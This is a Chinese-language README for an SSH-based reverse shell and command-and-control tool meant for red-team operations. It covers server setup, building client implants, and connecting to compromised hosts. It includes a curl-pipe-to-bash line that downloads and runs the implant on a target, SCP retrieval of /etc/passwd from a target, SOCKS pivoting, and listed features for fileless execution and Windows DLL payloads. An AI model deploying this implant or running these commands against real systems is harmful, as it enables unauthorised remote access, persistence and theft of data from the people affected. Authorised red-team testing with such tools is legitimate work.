
基于SSH的反向Shell管理工具,原生支持SCP/SFTP、多种传输协议、Windows DLL生成以及无文件执行,适用于红队行动。

(艺术作品致谢 https://www.instagram.com/smart.hedgehog.art/)
想要使用SSH实现反向Shell?现在你可以了。
SCP和SFTP实现,用于从目标检索文件http、websockets、tls等https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
- [反向 SSH](#reverse-ssh)
- [摘要](#tldr)
- [设置](#setup)
- [基本用法](#basic-usage)
- [赞助者](#sponsors)
- [个人](#individuals)
- [公司](#companies)
- [高级特性](#fancy-features)
- [权限](#privileges)
- [自动反向连接](#automatic-connect-back)
- [反向 Shell 下载(客户端生成与内置 HTTP 服务器)](#reverse-shell-download-client-generation-and-in-built-http-server)
- [替代传输(HTTP/Websockets/TLS)](#alternate-transports-httpwebsocketstls)
- [Bash 自动补全](#bash-autocomplete)
- [Windows DLL 生成](#windows-dll-generation)
- [SSH 子系统](#ssh-subsystems)
- [全部](#all)
- [Linux](#linux)
- [Windows](#windows)
- [Windows 服务集成](#windows-service-integration)
- [完整的 Windows Shell 支持](#full-windows-shell-support)
- [Webhooks](#webhooks)
- [Tun (VPN)](#tun-vpn)
- [无文件执行(客户端支持动态下载可执行文件作为 Shell 执行)](#fileless-execution-clients-support-dynamically-downloading-executables-to-execute-as-shell)
- [支持的 URI 方案](#supported-uri-schemes)
- [帮助](#help)
- [Windows](#windows-help)
- [Windows 与 SFTP](#windows-and-sftp)
- [会话生成错误 (0xc0000142)](#session-spawn-errors-0xc0000142)
- [使用 `--insecure` 启动服务器仍有 `Failed to handshake`](#server-started-with---insecure-still-has-failed-to-handshake)
- [前台与后台](#foreground-vs-background)
- [捐赠、支持或回馈](#donations-support-or-giving-back)
## 摘要
### 设置
建议使用 Docker 版本,因为它包含了正确版本的 Go 语言以及 Windows 的交叉编译器。```sh
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh
或者 docker compose:```yaml services: reversessh: image: reversessh/reverse_ssh ports: - "3232:2222" environment: - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 - RSSH_CONSOLE_LABEL=c2.label - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY} volumes: - ./data:/data
### 基本用法```sh
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
所有命令都支持 -h 标志以显示帮助。
然后典型的 ssh 命令可以工作,只需将你的 rssh 服务器指定为跳板主机。```sh
ssh -J your.rssh.server.internal:3232 dummy.machine
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
## Sponsors
衷心感谢以下人士向 RSSH 项目捐款,使这一切成为可能!
### Individuals
[chikamobina](https://github.com/chikamobina) 的慷慨捐赠!
[wrighterase (ctrlzero)](https://github.com/wrighterase) 的拉取请求和捐赠!
### Companies
[Carapace](https://carapace.nz/) 是一家总部位于新西兰的安全咨询公司,团队人才济济!
[<img src="https://assets.kitploit.com/production/public/readmes/5627/b077b138b5108d69a3bcb10eea9d5f195914c9fb4653689923b3a10a1ee38a64.png">](https://carapace.nz/)
## 高级功能
### 权限
RSSH 服务器支持非常基本的用户权限,在 `data-directory`/`keys`(由 `--datadir` 指定)文件夹中找到的用户(例如 `data-directory/keys/jim`)将被分配为“用户”,只能看到公开的客户端(在 authorized_controllee_keys 文件中没有 `owners` 标签,或 `owners` 标签为空)或专门分配给他们的客户端,例如 `owners="jim"`。
可以通过用户使用 `access` 命令共享其拥有的客户端访问权限,或由服务器管理员在运行时更改此设置。默认情况下,`authorized_keys` 文件中找到的任何公钥都将被标记为管理员,以保持向后兼容性。
通过 `access` 命令所做的任何更改在服务器重启后不会保留,需要编辑该特定客户端的 `authorized_controllee_keys` 文件。
### 自动回调
rssh 客户端允许您嵌入一个回调地址。
默认情况下,`link` 命令会嵌入服务器的外部地址。
如果您(出于某种原因)手动构建二进制文件,可以指定环境变量 `RSSH_HOMESERVER` 将其嵌入客户端:```sh
$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make
# Will connect to your.rssh.server.internal:3232, even though no destination is specified
$ bin/client
# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232
$ bin/client -d example.com:3232
RSSH 服务器可以构建并托管客户端二进制文件(link 命令)。这是构建和提供客户端的推荐方式。
为使该功能正常工作,服务器必须置于项目 bin/ 文件夹中,因为它需要找到客户端源代码。
默认情况下,docker 发行版已正确配置此项,推荐使用。```sh
ssh your.rssh.server.internal -p 3232
catcher$ link -h